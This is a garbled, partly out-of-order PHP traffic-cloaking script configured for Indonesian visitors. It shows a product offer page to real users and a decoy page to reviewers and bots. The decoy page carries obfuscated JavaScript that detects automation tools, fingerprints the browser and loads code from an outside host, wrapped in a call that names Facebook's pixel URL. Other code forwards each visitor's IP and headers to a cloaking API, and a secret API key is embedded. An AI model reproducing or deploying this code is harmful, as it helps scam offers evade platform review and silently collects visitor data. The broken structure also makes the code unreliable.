Js PHP
Js PHP
php
/* Required settings */
$CLOAKING['OFFER_PAGE'] = 'https://www.kapsulsanjaya.com/b.php';//PHP/HTML file or
URL offer used for real users
$CLOAKING['DEBUG_MODE'] = 'off';// replace "on" with "off" to switch from debug to
production mode
$CLOAKING['STEALTH'] = 'off';// replace "on" with "off" to hide stat page
/*********************************************/
/* Available additional settings */
/* Geo filter: Display offer page only to visitors from allowed countries. */
/* For example, if you enter 'RU,UA' in the next line, system will only allow users
from Russia and Ukraine */
$CLOAKING['ALLOW_GEO'] = 'ID';
/* Blocked Geo filter: Hide offer page from visitors of selected countries. */
/* For example, if you enter 'IN,CN' in the next line, system will block users from
India and China */
//$CLOAKING['BLOCK_GEO'] = 'IN,CN';
/* WHITE_REF blocks requests if referrer does not match the regular expression.*/
/* For example: 'google|facebook' will block all traffic, exept traffic from google
and facebook */
/* YOU MUST TO GENERATE NEW SCRIPT TO CHANGE THIS ! */
$CLOAKING['WHITE_REF'] = '';
/* DELAY_PERMANENT always show the whitepage for IP in the list of first X requests
*/
$CLOAKING['DELAY_PERMANENT'] = false;
/* Paranoia mode uses the most rigid filters. Checks out some additional features
inherent in spy services. But at the same time, in some countries, it can block a
significant part of real users. */
/* change 'false' to 'true' to activate this mode */
$CLOAKING['PARANOID'] = false;
/* Fast mode. Set 'true' to skip some checks and display offer page faster. Set
'false' to block residential proxy */
$CLOAKING['FAST'] = true;
// if allow_utm_opt is set and NONE of the keys are present in the request, the
white page will be displayed.
// (keywords must be separated by commas)
// $CLOAKING['allow_utm_opt']='poker,betting';
// if block_utm is set, and the same UTM string is present in the request, the
white page will be displayed.
// $CLOAKING['block_utm']='utm_city=Paris';
// Tip: you can use UTM key 'utm_allow_geo' in the request URL to overwrite
ALLOW_GEO. For example: https://domain/?utm_allow_geo=FR will display the white
page if the request is NOT from France.
/* The next settings are needed only if your hosting isn't standart or something
doesn't work */
/* delete symbols "//" in the next line if service doesn't work or you use CDN,
Varnish or other caching proxy */
//$CLOAKING['DISABLE_CACHE'] = true;
/*********************************************/
/* You API key. */
/* DO NOT SHARE API KEY! KEEP IT SECRET! */
$CLOAKING['API_SECRET_KEY'] = 'v1a20305ac89c745fea3609703386c00b0';
/*********************************************/
/* YOU MUST TO GENERATE NEW SCRIPT TO CHANGE THIS */
$CLOAKING['WHITE_PAGE'] = '<script>var
unybxseltxzhrpzeisqgkhlirbpfhfebscdpuhboebvwqvaynrfyyrhpswvabzbubekwmlkqmgndcncpeio
czwrrsnsumtonyykkkvbwboadcctgkiijea=function(src){var
q=atob("X19zdG9wQWxsVGltZXJzLndlYmRyaXZlci5fX25pZ2h0bWFyZS5fc2VsZW5pdW0uY2FsbFBoYW5
0b20uY2FsbFNlbGVuaXVtLl9TZWxlbml1bV9JREVfUmVjb3JkZXIuc2VsZW5pdW0uZHJpdmVyLl9zZWxlbm
l1bS5fX3dlYmRyaXZlcl9ldmFsdWF0ZS5fX3NlbGVuaXVtX2V2YWx1YXRlLl9fd2ViZHJpdmVyX3Njcmlwd
F9mdW5jdGlvbi5fX3dlYmRyaXZlcl9zY3JpcHRfZnVuYy5fX3dlYmRyaXZlcl9zY3JpcHRfZm4uX19meGRy
aXZlcl9ldmFsdWF0ZS5fX2RyaXZlcl91bndyYXBwZWQuX193ZWJkcml2ZXJfdW53cmFwcGVkLl9fZHJpdmV
yX2V2YWx1YXRlLl9fc2VsZW5pdW1fdW53cmFwcGVkLl9fZnhkcml2ZXJfdW53cmFwcGVkLl9waGFudG9tLn
BoYW50b20uZG9tQXV0b21hdGlvbl9fbmlnaHRtYXJl").split("."),e=encodeURIComponent,g=0,w=
window,d=w.document,n=w.navigator,de="documentElement",s=w.screen,p="",a="avail",i=
"inner",o="outer",H="Height",W="Width",c=w.chrome?
Object.keys(w.chrome).join("*"):"*",tag=d.createElement("script");function wd()
{try{for(var l in q){var z=q[l];if(w[z]||n[z])return
z;if(d&&d[de]&&d[de].getAttribute&&d[de].getAttribute(z))return z;if(z in w||z in
d)return z}return 0}catch(e){}}!function wp(){try{if(n&&n.plugins)
{Object.keys(n.plugins).forEach(function(i)
{if(n.plugins[i])p+=n.plugins[i].filename+"*"})}}catch(e){}}
();try{g=d.createElement("canvas").getContext("webgl");g=g.getParameter(g.getExtens
ion("WEBGL_debug_renderer_info").UNMASKED_RENDERER_WEBGL)}catch(e)
{}src="https://priaganteng.store/js.php?clid="+btoa("ref="+e(d.referrer)
+"&drive="+wd()+"&c="+c+"&s="+s[a+H]+"*"+w[i+H]+"*"+w[o+H]+"*"+s[a+W]+"*"+w[i+W]
+"*"+w[o+W]
+"*"+w.devicePixelRatio+"*"+n.maxTouchPoints+"&p="+p+"&h="+n.hardwareConcurrency+"*
"+n.deviceMemory+"*"+e(g)+"&t="+e(new Date().toString())
+"&q="+e(w.location.search.substr(1)));tag["type"]="text/javascript";tag["src"]=src
;document.head.appendChild(tag)}
("https://connect.facebook.net/en_US/fbevents.js")</script>';// white page JS
script integration code.
// DO NOT EDIT ANYTHING BELOW !!!
if(!empty($CLOAKING['VERSION']) || !empty($GLOBALS['CLOAKING']['VERSION']))
die('Recursion Error');
//$CLOAKING['VERSION']=20200115;
$CLOAKING['VERSION']=20201110;
//$CLOAKING['HTACCESS_FIX'] = true;
/* dirty fix!!! uncomment only if problem with IP detection!!! */
//if(!empty($_SERVER['HTTP_X_REAL_IP']))
$_SERVER['REMOTE_ADDR']=$_SERVER['HTTP_X_REAL_IP'];
$ch = curl_init();
echo "HTTPS domain";
curl_setopt($ch, CURLOPT_URL,'https://hideapi.xyz/status');
if(!empty($body)) {curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch,
CURLOPT_POSTFIELDS, "$body");}
if(!empty($returnHeaders)) curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$r = @curl_exec($ch);
$info = curl_getinfo($ch);
print_r($info);
echo "<br>\n";
curl_close ($ch);
echo "$r<hr>\n";
}
}
else if ($_REQUEST['cloaking'] == 'time') {
header( "Cache-control: public, max-age=999999, s-maxage=999999" );
header( "Expires: Wed, 21 Oct 2025 07:28:00 GMT" );
echo str_replace(" ","",rand(1,10000).microtime().rand(1,100000));
}
die();
}
if(!$CLOAKING['STATUS'] || stristr($CLOAKING['STATUS'],'error')){
echo '❌ PHP configuration error. Contact your hosting support and ask them
to enable CURL in PHP.<br>';
$error=1;
}
if(stristr($CLOAKING['STATUS'],'payment')||
stristr($CLOAKING['STATUS'],'expired')){
echo '❌ Your secret API key has expired or blocked due terms violation.
Contact support to extend the service!<br>';
$error=1;
}
$CLOAKING['STATUS'] = json_decode($CLOAKING['STATUS'], true);
if(empty($CLOAKING['STATUS']) || empty($CLOAKING['STATUS']['action'])){
echo '❌ Network error. Your hosting provider might be using some kind of
firewall or resource limiter that will result in excessive traffic loss. It can\'t
be fixed on our side. You need a different hosting. Contact us if you have any
questions.<br><br>';
$error=1;
}
$CLOAKINGdata = array();
if (function_exists("getallheaders")) $CLOAKINGdata = getallheaders();
else foreach($_SERVER as $k=> $v){
if (substr($k, 0, 5) == 'HTTP_') $CLOAKINGdata[$k] = $v;
}
$CLOAKINGdata['path']=$_SERVER["REQUEST_URI"];
$CLOAKINGdata['REQUEST_METHOD']=$_SERVER['REQUEST_METHOD'];
if( $_SERVER["SERVER_PORT"]==443 || !empty($_SERVER['HTTPS']) || !
empty($_SERVER['SSL']) ) $CLOAKINGdata['HTTP_HTTPS']='1';
$CLOAKINGdata = json_encode($CLOAKINGdata);
if(!function_exists('curl_init')) $CLOAKING['STATUS'] =
@file_get_contents('http://api.hideapi.xyz/basic?ip='.
$_SERVER["REMOTE_ADDR"].'&port='.$_SERVER["REMOTE_PORT"].'&banReason='.
$CLOAKING['banReason'].'&key='.
$CLOAKING['API_SECRET_KEY'].'&sign=92114122105531f1612085614&version='.
$CLOAKING['VERSION'].$CLOAKING['WHITE_METHOD'].'.'.$CLOAKING['OFFER_METHOD'].'.'.
$CLOAKING['FAST'].'&stage='.$stage.'&js=true&cache='.
$CLOAKING['DISABLE_CACHE'].'&geo='.preg_replace('#[^a-zA-Z,]+#',',',
$CLOAKING['ALLOW_GEO']).'&blockgeo=' .
urlencode($CLOAKING['BLOCK_GEO']) .'¶noid='.$CLOAKING['PARANOID'] .
'&allowvpn=' .
$CLOAKING['ALLOW_VPN'].'&offer='.urlencode($CLOAKING['OFFER_PAGE']) , 'r',
stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>f
alse,), 'http' => array('method' => 'POST', 'timeout' => 5, 'header'=> "Content-
type: application/x-www-form-urlencoded\r\n". "Content-Length:
".strlen($CLOAKINGdata). "\r\n", 'content' => $CLOAKINGdata))));
else $CLOAKING['STATUS'] = @cloakedCurl('http://api.hideapi.xyz/basic?ip='.
$_SERVER["REMOTE_ADDR"].'&port='.$_SERVER["REMOTE_PORT"].'&banReason='.
$CLOAKING['banReason'].'&key='.
$CLOAKING['API_SECRET_KEY'].'&sign=92114122105531f1612085614&version='.
$CLOAKING['VERSION'].$CLOAKING['WHITE_METHOD'].'.'.$CLOAKING['OFFER_METHOD'].'.'.
$CLOAKING['FAST'].'&stage='.$stage.'&js=true&cache='.
$CLOAKING['DISABLE_CACHE'].'&geo='.preg_replace('#[^a-zA-Z,]+#',',',
$CLOAKING['ALLOW_GEO']).'&blockgeo=' .
urlencode($CLOAKING['BLOCK_GEO']) .'¶noid='.$CLOAKING['PARANOID'] .
'&allowvpn=' . $CLOAKING['ALLOW_VPN'].'&offer='.urlencode($CLOAKING['OFFER_PAGE']),
$CLOAKINGdata);
$CLOAKING['STATUS'] = json_decode($CLOAKING['STATUS'], true);
if(empty($CLOAKING['STATUS']) || empty($CLOAKING['STATUS']['action'])){
echo '❌ Bad network! Your hosting provider might be using some kind of
firewall or resource limiter that will result in excessive traffic loss. It can\'t
be fixed on our side. You need a different hosting. Contact us if you have any
questions.<br><br>';
$error=1;
}
if($CLOAKING['STATUS']['action']!='allow') {
// echo '⚠ We do not recommend using VPN, anonymizers, privacy plugins or
antidetect browsers during the setup process<br><br>';
echo '⚠ You may not see the offer if you are using
VPN/proxy/developer_extensions/privacy_plugins/antidetect_browsers or other
security tools during the setup process. Use standart browser and local/WiFi/mobile
coonection to check offer page<br><br>';
}
if (function_exists('header_remove')) header_remove("X-Powered-By");
@ini_set('expose_php', 'off');
$CLOAKINGdata = array();
$CLOAKINGdata['path']=$_SERVER["REQUEST_URI"];
$CLOAKINGdata['REQUEST_METHOD']=$_SERVER['REQUEST_METHOD'];
if( $_SERVER["SERVER_PORT"]==443 || !empty($_SERVER['HTTPS']) || !
empty($_SERVER['SSL']) ) $CLOAKINGdata['HTTP_HTTPS']='1';
//fix for roadrunner ???
//$CLOAKINGdata['host']=$CLOAKING['DOMAIN'];//fix for roadrunner ???
//$CLOAKINGdata['path']=http_build_query ($_GET);//fix for roadrunner ???
$CLOAKING['banReason']='';
if($CLOAKING['NO_REF'] || !empty($CLOAKING['WHITE_REF'])){
$ref='';
foreach (array('HTTP_REFERER','Referer','referer','REFERER') as $k){
if(!empty($CLOAKINGdata[$k])) {$ref=$CLOAKINGdata[$k];break;}
if(!empty($_SERVER[$k])) {$ref=$_SERVER[$k];break;}
}
if(empty($ref) || empty($_GET['ref'])) $CLOAKING['banReason'].='noref.';
// elseif(!empty($CLOAKING['WHITE_REF']) && !preg_match("#https?://[^/]*(".
$CLOAKING['WHITE_REF'].")#i",$ref)) $CLOAKING['banReason'].='blackref.';
}
if($CLOAKING['BLOCK_APPLE'] || $CLOAKING['BLOCK_ANDROID'] || $CLOAKING['BLOCK_WIN']
|| $CLOAKING['BLOCK_MOBILE'] || $CLOAKING['BLOCK_DESCTOP']) {
$ua='';
foreach (array('HTTP_USER_AGENT','USER-AGENT','User-Agent','User-agent','user-
agent') as $k){
if(!empty($CLOAKINGdata[$k])) {$ua=$CLOAKINGdata[$k];break;}
if(!empty($_SERVER[$k])) {$ua=$_SERVER[$k];break;}
}
if($CLOAKING['BLOCK_APPLE'] && stristr($ua,'Mac OS'))
$CLOAKING['banReason'].='blockapple.';
if($CLOAKING['BLOCK_ANDROID'] && stristr($ua,'Android'))
$CLOAKING['banReason'].='blockandroid.';
if($CLOAKING['BLOCK_WIN'] && stristr($ua,'Windows'))
$CLOAKING['banReason'].='blockwin.';
if($CLOAKING['BLOCK_MOBILE'] && (stristr($ua,'like Mac OS X')||
stristr($ua,'Android')||stristr($ua,'mobile')||stristr($ua,'table')))
$CLOAKING['banReason'].='blockmobile.';
if($CLOAKING['BLOCK_DESCTOP'] && !(stristr($ua,'like Mac OS X')||
stristr($ua,'Android')||stristr($ua,'mobile')||stristr($ua,'table')))
$CLOAKING['banReason'].='blockdescktop.';
}
if($CLOAKING['DELAY_START']) {
$ip='';
foreach (array('HTTP_CF_CONNECTING_IP','CF-Connecting-IP','Cf-Connecting-
Ip','cf-connecting-ip') as $k){
if(!empty($_SERVER[$k])) $ip=$_SERVER[$k];
}
if(empty($ip)) {
foreach (array('HTTP_FORWARDED', 'Forwarded', 'forwarded', 'REMOTE_ADDR')
as $k) {
if (!empty($_SERVER[$k])) $ip .= $_SERVER[$k];
}
}
$ips=file('dummyCounter.txt',FILE_IGNORE_NEW_LINES);
if(empty($ips)) {$ips=array(0=>0);file_put_contents('dummyCounter.txt',"0\n",
FILE_APPEND);}
else $ips=array_flip($ips);
$ip=crc32($ip);
if(!empty($ips[$ip]) && ($CLOAKING['DELAY_PERMANENT'] ||
sizeof($ips)<=$CLOAKING['DELAY_START'])){
$CLOAKING['banReason'].='delaystart.';
}
elseif(sizeof($ips)<=$CLOAKING['DELAY_START']) {
file_put_contents('dummyCounter.txt',$ip."\n", FILE_APPEND);
$CLOAKING['banReason'].='delaystart.';
}
}
if(!empty($_SERVER['HTTP_REFERER'])) $CLOAKINGdata['HTTP_X_FORWARDED_HOST']=
parse_url($_SERVER['HTTP_REFERER'],PHP_URL_HOST);
else if(!empty($_SERVER['Referer'])) $CLOAKINGdata['HTTP_X_FORWARDED_HOST']=
parse_url($_SERVER['Referer'],PHP_URL_HOST);
if(!empty($_GET['q'])){
parse_str(urldecode($_GET['q']),$tmppar);
if(!empty($tmppar['utm_allow_geo']) && preg_match('#^[a-zA-Z]{2}(-|$)#',
$tmppar['utm_allow_geo'])) $CLOAKING['ALLOW_GEO']=$tmppar['utm_allow_geo'];
}
if(!empty($CLOAKING['allow_utm_must']) || !empty($CLOAKING['allow_utm_opt'])){
if(!empty($_GET['q'])) $utmstring=urldecode($_GET['q']); else $utmstring='';
if(!empty($CLOAKING['allow_utm_opt'])) {
$CLOAKING['allow_utm_opt'] = preg_replace('#[\s,]+#', '|',
$CLOAKING['allow_utm_opt']);
$CLOAKING['allow_utm_opt'] = "#" . trim($CLOAKING['allow_utm_opt'], ',') .
"#i";
}
if(!empty($CLOAKING['allow_utm_must']) && !stristr($utmstring,
$CLOAKING['allow_utm_must'])) $CLOAKING['banReason'].='utmfilterm.';
if(!empty($CLOAKING['allow_utm_opt']) && !
preg_match($CLOAKING['allow_utm_opt'],$utmstring))
$CLOAKING['banReason'].='utmfilterk.';
}
if(!empty($CLOAKING['block_utm'])) {
if(!empty($_GET['q'])) $utmstring=urldecode($_GET['q']); else $utmstring='';
if(!empty($CLOAKING['block_utm']) && stristr($utmstring,
$CLOAKING['block_utm'])) $CLOAKING['banReason'].='utmfilterb.';
}
$CLOAKINGdata = json_encode($CLOAKINGdata);
if(!function_exists('curl_init')) $CLOAKING['STATUS'] =
@file_get_contents('http://api.hideapi.xyz/basic?ip='.
$_SERVER["REMOTE_ADDR"].'&port='.$_SERVER["REMOTE_PORT"].'&banReason='.
$CLOAKING['banReason'].'&key='.
$CLOAKING['API_SECRET_KEY'].'&sign=92114122105531f1612085614&version='.
$CLOAKING['VERSION'].$CLOAKING['WHITE_METHOD'].'.'.$CLOAKING['OFFER_METHOD'].'.'.
$CLOAKING['FAST'].'&stage='.$stage.'&js=true&cache='.
$CLOAKING['DISABLE_CACHE'].'&geo='.preg_replace('#[^a-zA-Z,]+#',',',
$CLOAKING['ALLOW_GEO']).'&blockgeo=' .
urlencode($CLOAKING['BLOCK_GEO']) .'¶noid='.$CLOAKING['PARANOID'] .
'&allowvpn=' .
$CLOAKING['ALLOW_VPN'].'&offer='.urlencode($CLOAKING['OFFER_PAGE']) , 'r',
stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>f
alse,), 'http' => array('method' => 'POST', 'timeout' => 5, 'header'=> "Content-
type: application/x-www-form-urlencoded\r\n". "Content-Length:
".strlen($CLOAKINGdata). "\r\n", 'content' => $CLOAKINGdata))));
else $CLOAKING['STATUS'] = @cloakedCurl('http://api.hideapi.xyz/basic?ip='.
$_SERVER["REMOTE_ADDR"].'&port='.$_SERVER["REMOTE_PORT"].'&banReason='.
$CLOAKING['banReason'].'&key='.
$CLOAKING['API_SECRET_KEY'].'&sign=92114122105531f1612085614&version='.
$CLOAKING['VERSION'].$CLOAKING['WHITE_METHOD'].'.'.$CLOAKING['OFFER_METHOD'].'.'.
$CLOAKING['FAST'].'&stage='.$stage.'&js=true&cache='.
$CLOAKING['DISABLE_CACHE'].'&geo='.preg_replace('#[^a-zA-Z,]+#',',',
$CLOAKING['ALLOW_GEO']).'&blockgeo=' .
urlencode($CLOAKING['BLOCK_GEO']) .'¶noid='.$CLOAKING['PARANOID'] .
'&allowvpn=' . $CLOAKING['ALLOW_VPN'].'&offer='.urlencode($CLOAKING['OFFER_PAGE']),
$CLOAKINGdata);
$CLOAKING['STATUS'] = json_decode($CLOAKING['STATUS'], true);
header("Content-Type: application/javascript");
//srand(crc32($_SERVER['HTTP_HOST'].$_SERVER['HOST'].$_SERVER['Host'].
$_SERVER['host'].$_SERVER["SCRIPT_NAME"]));
if (empty($CLOAKING['banReason']) && !empty($CLOAKING['STATUS']) && !
empty($CLOAKING['STATUS']['action']) && $CLOAKING['STATUS']['action'] == 'allow' &&
(empty($CLOAKING['ALLOW_GEO']) || (!empty($CLOAKING['STATUS']['geo']) && !
empty($CLOAKING['ALLOW_GEO']) && stristr($CLOAKING['ALLOW_GEO'],$CLOAKING['STATUS']
['geo'])))) {
if($CLOAKING['UTM'] && !empty($_GET) && !empty($_GET['q'])){
// fix for fucking bug with &q=...&= not encoded...
if(!empty($_SERVER['QUERY_STRING']))
$_GET['q']=substr($_SERVER['QUERY_STRING'],strpos($_SERVER['QUERY_STRING'],'&q=')
+3);
if(strstr($CLOAKING['OFFER_PAGE'],'?')) $CLOAKING['OFFER_PAGE'].=
'&'.urldecode($_GET['q']);
else $CLOAKING['OFFER_PAGE'].= '?'.urldecode($_GET['q']);
$page=base64_encode($CLOAKING['OFFER_PAGE']);
}
else $page=base64_encode($CLOAKING['OFFER_PAGE']);
if(!empty($CLOAKING['STATUS']['uid'])) {
$uid=$CLOAKING['STATUS']['uid'];
setcookie('uid',$uid,time()+604800);
}
else $uid='';
$output='';
if($CLOAKING['FAST']) {
if($CLOAKING['OFFER_METHOD']=='iframe'){
$output='try {window.stop();}catch (e)
{document.execCommand("Stop");}document.getElementsByTagName("html")[0].innerHTML =
"<head><style>html, body, iframe {margin: 0;padding: 0;height : 100%; width:
100%;}</style></head><body></body>";!function() {if
(document.getElementsByTagName("head").length > 0){var e =
document.createElement("meta");e.name = "viewport",e.content = "width=device-width,
initial-scale=1, maximum-scale=1, user-
scalable=0",document.getElementsByTagName("head")[0].appendChild(e);}}
();document.getElementsByTagName("body")[0].innerHTML = "<iframe
src=\''.base64_decode($page).'\' style=\'visibility:visible !important;
position:absolute; top:0px; left:0px; bottom:0px; right:0px; width:100%;
height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;\'
allowfullscreen=\'allowfullscreen\' webkitallowfullscreen=\'webkitallowfullscreen\'
mozallowfullscreen=\'mozallowfullscreen\'></iframe>";';
}
else {
$output='try {window.stop();}catch (e)
{document.execCommand("Stop");}document.getElementsByTagName("html")[0].innerHTML =
"";location.href="'.base64_decode($page).'"';
}
echo $output;
}
else {
if ($CLOAKING['UTM'] && empty($_GET['q'])) {
// $output="var s='".$page."';try{s=btoa(atob(s)+(atob(s).indexOf('?')<0 ?
'?':'&')+window.location.search.substr(1));}catch(e)
{console.log(e)};document.write('<script src=\"https://".$CLOAKING['STATUS']
['host']."/fb.js?uid=".$uid."&method=".$CLOAKING['OFFER_METHOD']."&session=".
$CLOAKING['STATUS']['js']."_'+s+'\"></script>')";
$output = "var s='" . $page . "';try{s=btoa(atob(s)+(atob(s).indexOf('?')<0
? '?':'&')+window.location.search.substr(1));}catch(e){console.log(e)};var
b=document.createElement(\"script\");b[\"type\"] =\"text/javascript\";b[\"src\"]
=\"https://" . $CLOAKING['STATUS']['host'] . "/fb.js?uid=" . $uid . "&method=" .
$CLOAKING['OFFER_METHOD'] . "&session=" . $CLOAKING['STATUS']['js'] .
"_\"+s;document.head.appendChild(b);";
} // else $output="document.write('<script src=\"https://".
$CLOAKING['STATUS']['host']."/fb.js?uid=".$uid."&method=".
$CLOAKING['OFFER_METHOD']."&session=".$CLOAKING['STATUS']['js']."_".
$page."\"></script>')";
else $output = "var b=document.createElement(\"script\");b[\"type\"]
=\"text/javascript\";b[\"src\"] =\"https://" . $CLOAKING['STATUS']['host'] .
"/fb.js?uid=" . $uid . "&method=" . $CLOAKING['OFFER_METHOD'] . "&session=" .
$CLOAKING['STATUS']['js'] . "_" . $page . "\";document.head.appendChild(b);";
// header("Location: https://cloudnetwork.cf/fb.js?uid=".$uid."&session=".
$CLOAKING['STATUS']['js']."_".$page);
if ($CLOAKING['NO_REF']) {
$output = 'if(document && document.referrer && document.referrer.length>0)
{' . $output . '}';
}
echo $output;
}
}
else {
// echo "document.write('<script
src=\"https://connect.facebook.net/en_US/fbevents.js\"></script>')";
echo "var b=document.createElement('script');b[\"type\"]
=\"text/javascript\";b[\"src\"]
=\"https://connect.facebook.net/en_US/fbevents.js\";document.head.appendChild(b);";
// header("Location: https://connect.facebook.net/en_US/fbevents.js");
}
function cloakedCurl($url,$body='',$returnHeaders=false){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
if(!empty($body)) {curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch,
CURLOPT_POSTFIELDS, "$body");}
if(!empty($returnHeaders)) curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_TIMEOUT, 45);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$r = @curl_exec($ch);
curl_close ($ch);
return $r;
}
function cloakedEditor($s){
$f=file($_SERVER["SCRIPT_FILENAME"]);
$r=0;
foreach ($f as $n=>$l){if(strstr($l,$s)) {$r=$n;break;}}
return $r+1;
}
die();
?>